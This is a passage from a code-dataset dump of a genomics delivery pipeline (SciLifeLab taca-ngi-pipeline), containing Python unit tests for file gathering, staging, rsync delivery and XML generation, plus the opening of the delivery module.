[tpat]\n for spath, _, obs_checksum in self.deliverer.gather_files():\n checksumfile = \"{}.{}\".format(spath, self.deliverer.hash_algorithm)\n self.assertFalse(os.path.exists(checksumfile), \"checksum cache file should not have been created\")\n self.assertEqual(exp_checksum, obs_checksum, \"observed cheksum doesn't match expected\")\n # ensure that no digest is computed for a file labeled with no_digest\n tpat = list(pattern)\n tpat.append({'no_digest': True})\n self.deliverer.files_to_deliver = [tpat]\n self.assertTrue(all([d[2] is None for d in self.deliverer.gather_files()]),\n \"the digest for files with no_digest=True was computed\")\n\n def test_gather_files7(self):\n \"\"\" Traverse folders also if they are symlinks \"\"\"\n dest_path = self.deliverer.expand_path(\n os.path.join(\n self.deliverer.datapath,\n \"level1_folder1\",\n \"level2_folder1\",\n \"level3_folder1\"))\n sa = SymlinkAgent(\n src_path=self.deliverer.expand_path(\n os.path.join(\n self.deliverer.analysispath,\n \"level1_folder0\",\n \"level2_folder0\",\n \"level3_folder0\")),\n dest_path=os.path.join(dest_path, \"level3_folder0\"),\n relative=False)\n self.assertTrue(\n sa.transfer(),\n \"failed when setting up test\")\n\n expected = [os.path.join(dest_path, \"level3_folder1_file{}\".format(n))\n for n in range(self.nfiles)]\n expected.extend([os.path.join(dest_path, \"level3_folder0\", \"level3_folder0_file{}\".format(n))\n for n in range(self.nfiles)])\n pattern = SAMPLECFG['deliver']['files_to_deliver'][6]\n self.deliverer.files_to_deliver = [pattern]\n self.assertEqual(\n sorted([p for p, _, _ in self.deliverer.gather_files()]),\n sorted(expected))\n\n def test_gather_files8(self):\n \"\"\" Skip checksum files \"\"\"\n expected = []\n pattern = SAMPLECFG['deliver']['files_to_deliver'][7]\n self.deliverer.files_to_deliver = [pattern]\n open(self.deliverer.expand_path(pattern[0]), 'w').close()\n self.assertEqual(\n [obs for obs in self.deliverer.gather_files()],\n expected)\n\n def test_gather_files9(self):\n \"\"\" Do not attempt to process broken symlinks \"\"\"\n expected = []\n pattern = SAMPLECFG['deliver']['files_to_deliver'][5]\n spath = self.deliverer.expand_path(pattern[0])\n os.unlink(spath)\n os.symlink(\n os.path.join(\n os.path.dirname(spath),\n \"this-file-does-not-exist\"),\n spath)\n self.deliverer.files_to_deliver = [pattern]\n observed = [p for p, _, _ in self.deliverer.gather_files()]\n self.assertEqual(observed, expected)\n\n def test_gather_files10(self):\n \"\"\" A missing required file should throw an error \"\"\"\n pattern = list(SAMPLECFG['deliver']['files_to_deliver'][5])\n pattern.append({'required': True})\n spath = self.deliverer.expand_path(pattern[0])\n os.unlink(spath)\n os.symlink(\n os.path.join(\n os.path.dirname(spath),\n \"this-file-does-not-exist\"),\n spath)\n self.deliverer.files_to_deliver = [pattern]\n # assert broken symlink raises exception\n with self.assertRaises(deliver.fs.FileNotFoundException):\n list(self.deliverer.gather_files())\n # assert missing file raises exception\n os.unlink(spath)\n with self.assertRaises(deliver.fs.PatternNotMatchedException):\n list(self.deliverer.gather_files())\n # assert exception not raised if file is not required\n self.deliverer.files_to_deliver = [pattern[0:2]]\n self.assertListEqual([], list(self.deliverer.gather_files()), \"empty result expected for missing file\")\n\n def test_stage_delivery1(self):\n \"\"\" The correct folder structure should be created and exceptions \n handled gracefully\n \"\"\"\n gathered_files = (\n os.path.join(\n self.deliverer.expand_path(self.deliverer.analysispath),\n \"level1_folder1\",\n \"level2_folder0\",\n \"level2_folder0_file1\"),\n os.path.join(\n self.deliverer.expand_path(self.deliverer.stagingpath),\n \"level1_folder1_link\",\n \"level2_folder0_link\",\n \"level2_folder0_file1_link\"),\n \"this-is-the-file-hash\")\n with mock.patch.object(deliver, 'create_folder', return_value=False):\n with self.assertRaises(deliver.DelivererError):\n self.deliverer.stage_delivery()\n with mock.patch.object(\n deliver.Deliverer, 'gather_files', return_value=[gathered_files]):\n self.deliverer.stage_delivery()\n expected = os.path.join(\n self.deliverer.expand_path(self.deliverer.stagingpath),\n gathered_files[1])\n self.assertTrue(\n os.path.exists(expected),\n \"Expected staged file does not exist\")\n self.assertTrue(\n os.path.islink(expected),\n \"Staged file is not a link\")\n self.assertTrue(\n os.path.exists(self.deliverer.staging_digestfile()),\n \"Digestfile does not exist in staging directory\")\n with mock.patch.object(\n deliver.transfer.SymlinkAgent,\n 'transfer',\n side_effect=SymlinkError(\"mocked error\")):\n self.assertTrue(self.deliverer.stage_delivery())\n\n def test_stage_delivery2(self):\n \"\"\" A single file should be staged correctly\n \"\"\"\n pattern = SAMPLECFG['deliver']['files_to_deliver'][5]\n expected = os.path.join(\n self.deliverer.expand_path(self.deliverer.stagingpath),\n \"level0_folder0_file0\")\n self.deliverer.files_to_deliver = [pattern]\n self.deliverer.stage_delivery()\n self.assertTrue(os.path.exists(expected),\n \"The expected file was not staged\")\n\n def test_stage_delivery3(self):\n \"\"\" Stage a folder and its subfolders in the top directory \"\"\"\n expected = [\n os.path.join(\n self.deliverer.expand_path(self.deliverer.stagingpath),\n os.path.relpath(\n os.path.join(d, f),\n self.deliverer.expand_path(self.deliverer.analysispath)))\n for d, _, files in os.walk(\n os.path.join(\n self.deliverer.expand_path(self.deliverer.analysispath),\n \"level1_folder2\"))\n for f in files]\n pattern = SAMPLECFG['deliver']['files_to_deliver'][1]\n self.deliverer.files_to_deliver = [pattern]\n self.deliverer.stage_delivery()\n self.assertEqual(\n [os.path.exists(e) for e in expected],\n [True for _ in range(len(expected))])\n\n def test_expand_path(self):\n \"\"\" Paths should expand correctly \"\"\"\n cases = [\n [\"this-path-should-not-be-touched\",\n \"this-path-should-not-be-touched\",\n \"a path without placeholders was modified\"],\n [\"this-path-<SHOULD>-be-touched\",\n \"this-path-was-to-be-touched\",\n \"a path with placeholders was not correctly modified\"],\n [\"this-path-<SHOULD>-be-touched-<MULTIPLE>\",\n \"this-path-was-to-be-touched-twice\",\n \"a path with multiple placeholders was not correctly modified\"],\n [\"this-path-should-<not>-be-touched\",\n \"this-path-should-<not>-be-touched\",\n \"a path without valid placeholders was modified\"],\n [None, None, \"a None path should be handled without exceptions\"]]\n self.deliverer.should = 'was-to'\n self.deliverer.multiple = 'twice'\n for case, exp, msg in cases:\n self.assertEqual(self.deliverer.expand_path(case), exp, msg)\n with self.assertRaises(deliver.DelivererError):\n self.deliverer.expand_path(\"this-path-<WONT>-be-touched\")\n\n def test_acknowledge_sample_delivery(self):\n \"\"\" A delivery acknowledgement should be written if requirements are met\n \"\"\"\n # without the deliverystatuspath attribute, no acknowledgement should be written\n del self.deliverer.deliverystatuspath\n self.deliverer.acknowledge_delivery()\n ackfile = os.path.join(\n self.deliverer.expand_path(SAMPLECFG['deliver']['deliverystatuspath']),\n \"{}_delivered.ack\".format(self.sampleid))\n self.assertFalse(os.path.exists(ackfile),\n \"delivery acknowledgement was created but it shouldn't have been\")\n # with the deliverystatuspath attribute, acknowledgement should be written with the supplied timestamp\n self.deliverer.deliverystatuspath = SAMPLECFG['deliver']['deliverystatuspath']\n for t in [deliver._timestamp(), \"this-is-a-timestamp\"]:\n self.deliverer.acknowledge_delivery(tstamp=t)\n self.assertTrue(os.path.exists(ackfile),\n \"delivery acknowledgement not created\")\n with open(ackfile, 'r') as fh:\n self.assertEquals(t, fh.read().strip(),\n \"delivery acknowledgement did not match expectation\")\n os.unlink(ackfile)\n\n\nclass TestProjectDeliverer(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.rootdir = tempfile.mkdtemp(prefix=\"test_taca_deliver_\")\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.rootdir, ignore_errors=True)\n\n def setUp(self):\n with mock.patch.object(deliver.db, 'dbcon', autospec=db.CharonSession):\n self.casedir = tempfile.mkdtemp(prefix=\"case_\", dir=self.rootdir)\n self.projectid = 'NGIU-P001'\n self.deliverer = deliver.ProjectDeliverer(\n self.projectid,\n rootdir=self.casedir,\n **SAMPLECFG['deliver'])\n\n def tearDown(self):\n shutil.rmtree(self.casedir)\n\n def test_init(self):\n \"\"\" A ProjectDeliverer should initiate properly \"\"\"\n self.assertIsInstance(\n getattr(self, 'deliverer'),\n deliver.ProjectDeliverer)\n\n @mock.patch.object(\n deliver.db.db.CharonSession,\n 'project_update',\n return_value=\"mocked return value\")\n def test_update_delivery_status(self, dbmock):\n \"\"\" Updating the delivery status for a project \"\"\"\n self.assertEquals(\n self.deliverer.update_delivery_status(),\n \"mocked return value\")\n dbmock.assert_called_with(\n self.projectid,\n delivery_status=\"DELIVERED\")\n\n def test_catching_sigint(self):\n \"\"\" SIGINT should raise DelivererInterruptedError\n \"\"\"\n with self.assertRaises(deliver.DelivererInterruptedError):\n os.kill(os.getpid(), signal.SIGINT)\n\n def test_catching_sigterm(self):\n \"\"\" SIGTERM should raise DelivererInterruptedError\n \"\"\"\n with self.assertRaises(deliver.DelivererInterruptedError):\n os.kill(os.getpid(), signal.SIGTERM)\n\n def test_acknowledge_project_delivery(self):\n \"\"\" A project delivery acknowledgement should be written to disk \"\"\"\n self.deliverer.acknowledge_delivery()\n ackfile = os.path.join(\n self.deliverer.expand_path(SAMPLECFG['deliver']['deliverystatuspath']),\n \"{}_delivered.ack\".format(self.projectid))\n self.assertTrue(os.path.exists(ackfile),\n \"delivery acknowledgement not created\")\n\n @mock.patch.object(\n deliver.db.db.CharonSession, 'project_get', return_value=PROJECTENTRY)\n def test_get_delivery_status(self, dbmock):\n \"\"\" retrieving delivery_status and analysis_status from db \"\"\"\n self.assertEquals(\n self.deliverer.get_delivery_status(),\n PROJECTENTRY.get('delivery_status'))\n dbmock.assert_called_with(PROJECTENTRY['projectid'])\n self.assertEquals(\n self.deliverer.get_analysis_status(),\n PROJECTENTRY.get('analysis_status'))\n dbmock.assert_called_with(PROJECTENTRY['projectid'])\n\n def test_all_samples_delivered(self):\n \"\"\" retrieving all_samples_delivered status \"\"\"\n with mock.patch.object(deliver.db.db.CharonSession, 'project_get_samples',\n return_value=PROJECTENTRY) as dbmock:\n self.assertFalse(\n self.deliverer.all_samples_delivered(),\n \"all samples should not be listed as delivered\")\n dbmock.assert_called_with(PROJECTENTRY['projectid'])\n PROJECTENTRY['samples'][0]['delivery_status'] = 'DELIVERED'\n with mock.patch.object(deliver.db.db.CharonSession, 'project_get_samples',\n return_value=PROJECTENTRY) as dbmock:\n self.assertTrue(\n self.deliverer.all_samples_delivered(),\n \"all samples should not be listed as delivered\")\n dbmock.assert_called_with(PROJECTENTRY['projectid'])\n PROJECTENTRY['samples'] = [SAMPLEENTRY]\n\n def test_create_project_report(self):\n \"\"\" creating the project report \"\"\"\n with mock.patch.object(deliver,'call_external_command') as syscall:\n self.deliverer.create_report()\n self.assertEqual(\n \" \".join(syscall.call_args[0][0]),\n SAMPLECFG['deliver']['report_aggregate'])\n\n def test_copy_project_report(self):\n \"\"\" Copy the project report to the specified report outbox\"\"\"\n with mock.patch.object(shutil, 'copyfile') as syscall:\n\n report_outbox = SAMPLECFG[\"deliver\"][\"reports_outbox\"]\n\n aggregate_report_src = self.deliverer.expand_path(\"<DATAPATH>/level1_folder1/\"\n \"level2_folder1/this_aggregate_report.csv\")\n aggregate_report_target = os.path.join(report_outbox, \"this_aggregate_report.csv\")\n\n version_report_src = self.deliverer.expand_path(\"<DATAPATH>/level1_folder1/\"\n \"level2_folder1/version_report.txt\")\n version_report_target = os.path.join(report_outbox, \"{}_version_report.txt\".format(self.deliverer.projectid))\n\n expected = [aggregate_report_target, version_report_target]\n\n actual = self.deliverer.copy_report()\n\n syscall.assert_any_call(aggregate_report_src, aggregate_report_target)\n syscall.assert_any_call(version_report_src, version_report_target)\n\n self.assertListEqual(expected, actual)\n\n\nclass TestSampleDeliverer(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.rootdir = tempfile.mkdtemp(prefix=\"test_taca_deliver_\")\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.rootdir, ignore_errors=True)\n\n def setUp(self):\n with mock.patch.object(deliver.db, 'dbcon', autospec=db.CharonSession):\n self.casedir = tempfile.mkdtemp(prefix=\"case_\", dir=self.rootdir)\n self.projectid = 'NGIU-P001'\n self.sampleid = 'NGIU-S001'\n self.deliverer = deliver.SampleDeliverer(\n self.projectid,\n self.sampleid,\n rootdir=self.casedir,\n **SAMPLECFG['deliver'])\n\n def tearDown(self):\n shutil.rmtree(self.casedir, ignore_errors=True)\n\n def test_init(self):\n \"\"\" A SampleDeliverer should initiate properly \"\"\"\n self.assertIsInstance(\n getattr(self, 'deliverer'),\n deliver.SampleDeliverer)\n\n @mock.patch.object(\n deliver.db.db.CharonSession, 'project_get', return_value=PROJECTENTRY)\n def test_fetch_uppnexid(self, dbmock):\n \"\"\" A SampleDeliverer should be able to fetch the Uppnex ID for the \n project\n \"\"\"\n # if an uppnexid is given in the configuration, it should be used and the database should not be queried\n deliverer = deliver.SampleDeliverer(\n self.projectid,\n self.sampleid,\n rootdir=self.casedir,\n uppnexid=\"this-is-the-uppnexid\",\n **SAMPLECFG['deliver'])\n self.assertEquals(deliverer.uppnexid, \"this-is-the-uppnexid\")\n #called once due to projectname\n dbmock.assert_called_once_with(self.projectid)\n # if an uppnexid is not supplied in the config, the database should be consulted\n dbmock.reset_mock()\n prior = dbmock.call_count\n deliverer = deliver.SampleDeliverer(\n self.projectid,\n self.sampleid,\n rootdir=self.casedir,\n **SAMPLECFG['deliver'])\n self.assertEquals(deliverer.uppnexid, PROJECTENTRY['uppnex_id'])\n #two calls, one for projectname one for uppnexid\n self.assertEquals(dbmock.call_count, 2)\n\n @mock.patch.object(\n deliver.db.db.CharonSession,\n 'sample_update',\n return_value=\"mocked return value\")\n def test_update_delivery_status(self, dbmock):\n \"\"\" Updating the delivery status for a sample \"\"\"\n self.assertEquals(\n self.deliverer.update_delivery_status(),\n \"mocked return value\")\n dbmock.assert_called_with(\n self.projectid,\n self.sampleid,\n delivery_status=\"DELIVERED\")\n\n def test_catching_sigint(self):\n \"\"\" SIGINT should raise DelivererInterruptedError\n \"\"\"\n with self.assertRaises(deliver.DelivererInterruptedError):\n os.kill(os.getpid(), signal.SIGINT)\n\n def test_catching_sigterm(self):\n \"\"\" SIGTERM should raise DelivererInterruptedError\n \"\"\"\n with self.assertRaises(deliver.DelivererInterruptedError):\n os.kill(os.getpid(), signal.SIGTERM)\n\n def test_deliver_sample1(self):\n \"\"\" transfer a sample using rsync\n \"\"\"\n # create some content to transfer\n digestfile = self.deliverer.staging_digestfile()\n filelist = self.deliverer.staging_filelist()\n basedir = os.path.dirname(digestfile)\n create_folder(basedir)\n expected = []\n with open(digestfile, 'w') as dh, open(filelist, 'w') as fh:\n curdir = basedir\n for d in range(4):\n if d > 0:\n curdir = os.path.join(curdir, \"folder{}\".format(d))\n create_folder(curdir)\n for n in range(5):\n fpath = os.path.join(curdir, \"file{}\".format(n))\n open(fpath, 'w').close()\n rpath = os.path.relpath(fpath, basedir)\n digest = hashfile(fpath, hasher=self.deliverer.hash_algorithm)\n if n < 3:\n expected.append(rpath)\n fh.write(u\"{}\\n\".format(rpath))\n dh.write(u\"{} {}\\n\".format(digest, rpath))\n rpath = os.path.basename(digestfile)\n expected.append(rpath)\n fh.write(u\"{}\\n\".format(rpath))\n # transfer the listed content\n destination = self.deliverer.expand_path(self.deliverer.deliverypath)\n create_folder(os.path.dirname(destination))\n self.assertTrue(self.deliverer.do_delivery(), \"failed to deliver sample\")\n # list the trasferred files relative to the destination\n observed = [os.path.relpath(os.path.join(d, f), destination)\n for d, _, files in os.walk(destination) for f in files]\n self.assertEqual(sorted(observed), sorted(expected))\n\n def test_acknowledge_sample_delivery(self):\n \"\"\" A sample delivery acknowledgement should be written to disk \"\"\"\n ackfile = os.path.join(\n self.deliverer.expand_path(SAMPLECFG['deliver']['deliverystatuspath']),\n \"{}_delivered.ack\".format(self.sampleid))\n self.deliverer.acknowledge_delivery()\n self.assertTrue(os.path.exists(ackfile),\n \"delivery acknowledgement not created\")\n\n @mock.patch.object(\n deliver.db.db.CharonSession, 'sample_get', return_value=\"mocked return value\")\n def test_fetch_db_entry(self, dbmock):\n \"\"\" retrieving sample entry from db \"\"\"\n self.assertEquals(\n self.deliverer.db_entry(),\n \"mocked return value\")\n dbmock.assert_called_with(self.projectid, self.sampleid)\n\n @mock.patch.object(\n deliver.db.db.CharonSession, 'sample_get', return_value=SAMPLEENTRY)\n def test_get_delivery_status(self, dbmock):\n \"\"\" retrieving delivery_status and analysis_status from db \"\"\"\n self.assertEquals(\n self.deliverer.get_delivery_status(),\n SAMPLEENTRY.get('delivery_status'))\n dbmock.assert_called_with(self.projectid, SAMPLEENTRY.get('sampleid'))\n self.assertEquals(\n self.deliverer.get_analysis_status(),\n SAMPLEENTRY.get('analysis_status'))\n dbmock.assert_called_with(self.projectid, SAMPLEENTRY.get('sampleid'))\n\n def test_create_sample_report(self):\n \"\"\" creating the sample report \"\"\"\n with mock.patch.object(deliver, 'call_external_command') as syscall:\n self.deliverer.create_report()\n self.assertEqual(\n \" \".join(syscall.call_args_list[0][0][0]),\n \"{} --samples {}\".format(\n SAMPLECFG['deliver']['report_sample'],\n self.deliverer.sampleid))\n self.assertEqual(\n \" \".join(syscall.call_args_list[1][0][0][:-1]),\n \"{} --samples_extra\".format(\n SAMPLECFG['deliver']['report_aggregate']))\n" }, { "alpha_fraction": 0.4526315927505493, "alphanum_fraction": 0.4963988959789276, "avg_line_length": 41, "blob_id": "c2cd00696cb242db5b6f05d935a8c34886ce5fd5", "content_id": "eeb512352821d6dd5bc00c44581becd53ecbb33a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1805, "license_type": "permissive", "max_line_length": 87, "num_lines": 43, "path": "/tests/utils/test_filesystem.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "import unittest\n\nimport taca_ngi_pipeline.utils.filesystem as filesystem\n\n\nclass TestFilesystem(unittest.TestCase):\n \n def test_gather_files(self):\n files_to_deliver = [['data/deliver_testset*', 'data/stage']]\n found = filesystem.gather_files(files_to_deliver)\n expected_sourcepath = 'data/deliver_testset.tar.gz'\n expected_dest_path = 'data/stage/deliver_testset.tar.gz'\n expected_digest = '640ec90a89e9d8aaca6d5364e4139375 deliver_testset.tar.gz\\n'\n for src, dest, dig in found:\n self.assertEqual(src, expected_sourcepath)\n self.assertEqual(dest, expected_dest_path)\n self.assertEqual(dig, expected_digest)\n \n def test_parse_hash_file(self):\n hashfile = 'data/deliver_testset.tar.gz.md5'\n got_dict = filesystem.parse_hash_file(hashfile, '2020-12-07', root_path='data')\n expected_dict = {'deliver_testset.tar':\n {'deliver_testset.tar.gz':\n {'size_in_bytes': 52639,\n 'md5_sum': '640ec90a89e9d8aaca6d5364e4139375',\n 'last_modified': '2020-12-07'}\n }\n }\n self.assertEqual(got_dict, expected_dict)\n \n def test_merge_dicts(self):\n d1 = {'A': {'a1': ['a', 'b'], \n 'a2': ['c', 'd']}, \n 'B': 'b1', \n 'C': 'c1'}\n d2 = {'A': {'a1': ['a', 'b']}, \n 'B': 'b1'}\n merged_dict = filesystem.merge_dicts(d1, d2)\n expected_dict = {'A': {'a1': ['a', 'b'], \n 'a2': ['c', 'd']}, \n 'B': 'b1',\n 'C': 'c1'}\n self.assertDictEqual(merged_dict, expected_dict)" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5454545617103577, "avg_line_length": 21, "blob_id": "e3dc062191c377216f541be68be53b4853bc675e", "content_id": "7ae3b56af77f30f9e42b35452b129dd48283764b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22, "license_type": "permissive", "max_line_length": 21, "num_lines": 1, "path": "/taca_ngi_pipeline/utils/__init__.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "__author__ = 'Pontus'\n" }, { "alpha_fraction": 0.4539749026298523, "alphanum_fraction": 0.4883091449737549, "avg_line_length": 45.1761360168457, "blob_id": "31533d2d628ac8ede958222ab2f6883fa8bf83db", "content_id": "aa4ab9eed6a28f5e66a29c4a2aae8035206e16f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8126, "license_type": "permissive", "max_line_length": 137, "num_lines": 176, "path": "/tests/utils/test_nbis_xml_generator.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "import unittest\nimport tempfile\nimport shutil\nimport os\nimport filecmp\n\nfrom couchdb.client import Document\nfrom mock import Mock, patch\n\nfrom taca_ngi_pipeline.utils.nbis_xml_generator import xml_generator\n\n\nclass TestXmlGen(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.log = Mock()\n self.pid = 'P12345'\n \n self.pcon = Mock()\n couch_doc = {'staged_files': {'P12345_1001': {'P12345_1001_R1_a.fastq.gz': 'val1', 'P12345_1001_R2_a.fastq.gz': 'val2'}},\n 'project_id': self.pid,\n 'details': {'application': 'metagenomics',\n 'library_construction_method': 'Library, By user, -, -, -',\n 'sequencing_setup': '2x250'},\n 'samples': {'P12345_1001':\n {'library_prep': \n {'A': {'sequenced_fc': 'ABC'}\n }\n }\n }\n }\n self.pcon.get_entry.return_value = Document(couch_doc)\n \n self.fcon = Mock()\n self.fcon.get_project_flowcell.return_value = {'a': {'run_name': 'a_run',\n 'db': 'x_flowcells',\n 'RunInfo': {'Id': 'run_id_M0'}\n }}\n \n self.xcon = Mock()\n self.xcon.get_project_flowcell.return_value = {'c': {'run_name': 'another_run',\n 'db': 'x_flowcells',\n 'RunInfo': {'Id': 'another_run_id_M0'},\n }}\n self.xcon.get_entry.return_value = {'RunInfo': {'Id': 'run_id_M0'},\n 'illumina': {'Demultiplex_Stats': {'Barcode_lane_statistics': [{'Sample': 'P12345_1001'}]}}}\n \n self.outdir = tempfile.mkdtemp()\n self.xgen = xml_generator(self.pid, outdir=self.outdir, LOG=self.log, pcon=self.pcon, fcon=self.fcon, xcon=self.xcon)\n \n self.stats = {\n 'experiment': \n {'selection': 'unspecified', \n 'protocol': 'NA', \n 'library': 'P12345_1001_prep', \n 'design': 'Sample library for sequencing on Illumina MiSeq', \n 'discriptor': 'P12345_1001', \n 'layout': '<PAIRED></PAIRED>', \n 'source': 'METAGENOMIC', \n 'study': 'P12345', \n 'title': 'Prep for P12345_1001 sequenced in Illumina MiSeq',\n 'strategy': 'OTHER', \n 'alias': 'P12345_1001_A_illumina_miseq_experiment',\n 'instrument': 'Illumina MiSeq'\n },\n 'run': \n {'exp_ref': 'P12345_1001_A_illumina_miseq_experiment', \n 'alias': 'P12345_1001_A_illumina_miseq_runs', \n 'data_name': 'P12345_1001', \n 'files': '\\t\\t\\t\\t<FILE filename=\"file1.fastq.gz\" filetype=\"fastq\" checksum_method=\"MD5\" checksum=\"sum\" />\\n'\n }\n }\n \n @classmethod\n def tearDownClass(self):\n shutil.rmtree(self.outdir)\n \n @patch('taca_ngi_pipeline.utils.nbis_xml_generator.xml_generator._collect_sample_stats')\n @patch('taca_ngi_pipeline.utils.nbis_xml_generator.xml_generator._generate_manifest_file')\n def test_generate_xml_and_manifest(self, mock_generate, mock_collect):\n mock_collect.return_value = [self.stats]\n self.xgen.generate_xml_and_manifest()\n got_exml = os.path.join(self.outdir, 'P12345_experiments.xml')\n exp_exml = os.path.join('data', 'P12345_experiments.xml')\n got_rxml = os.path.join(self.outdir, 'P12345_runs.xml')\n exp_rxml = os.path.join('data', 'P12345_runs.xml')\n \n self.assertTrue(filecmp.cmp(got_exml, exp_exml))\n self.assertTrue(filecmp.cmp(got_rxml, exp_rxml))\n \n def test__generate_manifest_file(self):\n experiment_details = {'study': 'P12345',\n 'discriptor': 'P12345_1001',\n 'alias': 'alias',\n 'instrument': 'inst',\n 'source': 'src',\n 'selection': 'sel',\n 'strategy': 'strat',\n 'layout': '<PAIRED></PAIRED>'}\n self.xgen._generate_manifest_file(experiment_details, 'run_details')\n got_manifest_path = os.path.join(self.outdir, 'manifestFiles', 'P12345_1001_manifest.txt')\n self.assertTrue(filecmp.cmp(got_manifest_path,'data/P12345_1001_manifest.txt'))\n \n @patch('taca_ngi_pipeline.utils.nbis_xml_generator.xml_generator._generate_files_block')\n def test__collect_sample_stats(self, mock_blockgen):\n mock_blockgen.return_value = '\\t\\t\\t\\t<FILE filename=\"file1.fastq.gz\" filetype=\"fastq\" checksum_method=\"MD5\" checksum=\"sum\" />\\n'\n got_stats = self.xgen._collect_sample_stats() # Generator object\n expected_stats = self.stats\n for i in got_stats:\n self.assertEqual(i, expected_stats)\n \n def test__stats_from_flowcells(self):\n expected_stats = {\n 'P12345_1001': \n {'A_illumina_miseq': \n {'runs': ['run_id_M0', 'run_id_M0'], \n 'xml_text': 'Illumina MiSeq'}}}\n self.assertEqual(self.xgen.sample_aggregated_stat, expected_stats)\n \n def test__set_project_design(self):\n expected_design = {\n 'selection': 'unspecified', \n 'protocol': 'NA', \n 'strategy': 'OTHER', \n 'source': 'METAGENOMIC', \n 'design': 'Sample library for sequencing on {instrument}', \n 'layout': '<PAIRED></PAIRED>'}\n self.assertEqual(self.xgen.project_design, expected_design)\n \n def test__generate_files_block(self):\n files = {'file1.fastq.gz': {'md5_sum': 'sum'}, 'file2.txt': {}}\n got_file_block = self.xgen._generate_files_block(files)\n expected_file_block = '\\t\\t\\t\\t<FILE filename=\"file1.fastq.gz\" filetype=\"fastq\" checksum_method=\"MD5\" checksum=\"sum\" />\\n'\n self.assertEqual(got_file_block, expected_file_block)\n \n def test__check_and_load_project(self):\n expected_project = {\n 'staged_files': {'P12345_1001': {'P12345_1001_R1_a.fastq.gz': 'val1', 'P12345_1001_R2_a.fastq.gz': 'val2'}}, \n 'project_id': 'P12345', \n 'details': {\n 'application': 'metagenomics', \n 'sequencing_setup': '2x250', \n 'library_construction_method': 'Library, By user, -, -, -'}, \n 'samples': \n {'P12345_1001': \n {'library_prep': \n {'A': {'sequenced_fc': 'ABC'}}\n }\n }\n }\n self.assertEqual(self.xgen.project, expected_project)\n \n def test__check_and_load_flowcells(self):\n expected_flowcells = {\n 'a': \n {'RunInfo': \n {'Id': 'run_id_M0'}, \n 'instrument': 'Illumina MiSeq', \n 'db': 'x_flowcells', \n 'samples': ['P12345_1001'], \n 'run_name': 'a_run'}, \n 'c': \n {'RunInfo': \n {'Id': 'another_run_id_M0'}, \n 'instrument': 'Illumina MiSeq', \n 'db': 'x_flowcells', \n 'samples': ['P12345_1001'], \n 'run_name': 'another_run'}\n }\n self.assertEqual(self.xgen.flowcells, expected_flowcells)\n \n def test__check_and_load_lib_preps(self):\n self.assertEqual(self.xgen.sample_prep_fc_map, {'P12345_1001': {'A': 'ABC'}})\n \n def test__check_and_load_outdir(self):\n self.assertEqual(self.outdir, self.xgen.outdir)" }, { "alpha_fraction": 0.5911016464233398, "alphanum_fraction": 0.5915982723236084, "avg_line_length": 45.38346862792969, "blob_id": "96e966a1201695fd0dfa6d8e0d3c271d5e486746", "content_id": "584ed53c49e97138465b6ca9f27829a1514eff71", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34231, "license_type": "permissive", "max_line_length": 161, "num_lines": 738, "path": "/taca_ngi_pipeline/deliver/deliver.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\"\n Module for controlling deliveries of samples and projects\n\"\"\"\nimport datetime\nimport glob\nimport json\nimport logging\nimport os\nimport re\nimport signal\nimport shutil\nimport yaml\n\nfrom taca.utils.config import CONFIG\nfrom taca.utils.filesystem import create_folder, chdir\nfrom taca.utils.misc import call_external_command\nfrom taca.utils.statusdb import ProjectSummaryConnection, FlowcellRunMetricsConnection, X_FlowcellRunMetricsConnection\nfrom taca.utils import transfer\nfrom ..utils import database as db\nfrom ..utils import filesystem as fs\nfrom ..utils import nbis_xml_generator as xmlgen\nfrom io import open\nfrom six.moves import map\n\nlogger = logging.getLogger(__name__)\n\n\nclass DelivererError(Exception):\n pass\n\n\nclass DelivererInterruptedError(DelivererError):\n pass\n\n\nclass DelivererRsyncError(DelivererError):\n pass\n\n\ndef _signal_handler(sgnal, frame):\n \"\"\" A custom signal handler which will raise a DelivererInterruptedError\n :raises DelivererInterruptedError:\n this exception will be raised\n \"\"\"\n raise DelivererInterruptedError(\n \"interrupt signal {} received while delivering\".format(sgnal))\n\n\ndef _timestamp(days=None):\n \"\"\"Current date and time (UTC) in ISO format, with millisecond precision.\n Add the specified offset in days, if given.\n Stolen from https://github.com/NationalGenomicsInfrastructure/charon/blob/master/charon/utils.py\n \"\"\"\n instant = datetime.datetime.utcnow()\n if days:\n instant += datetime.timedelta(days=days)\n instant = instant.isoformat()\n return instant[:-9] + \"%06.3f\" % float(instant[-9:]) + \"Z\"\n\n\nclass Deliverer(object):\n \"\"\"\n A (abstract) superclass with functionality for handling deliveries\n \"\"\"\n\n def __init__(self, projectid, sampleid, **kwargs):\n \"\"\"\n :param string projectid: id of project to deliver\n :param string sampleid: id of sample to deliver\n :param bool no_checksum: if True, skip the checksum computation\n :param string hash_algorithm: algorithm to use for calculating\n file checksums, defaults to sha1\n \"\"\"\n # override configuration options with options given on the command line\n self.config = CONFIG.get('deliver', {})\n self.config.update(kwargs)\n # set items in the configuration as attributes\n for k, v in self.config.items():\n setattr(self, k, v)\n self.projectid = projectid\n self.sampleid = sampleid\n self.hash_algorithm = getattr(self, 'hash_algorithm', 'sha1')\n self.no_checksum = getattr(self, 'no_checksum', False)\n self.files_to_deliver = getattr(self, 'files_to_deliver', None)\n self.deliverystatuspath = getattr(self, 'deliverystatuspath', None)\n self.stagingpath = getattr(self, 'stagingpath', None)\n self.deliverypath = getattr(self, 'deliverypath', None)\n self.logpath = getattr(self, 'logpath', None)\n self.reportpath = getattr(self, 'reportpath', None)\n 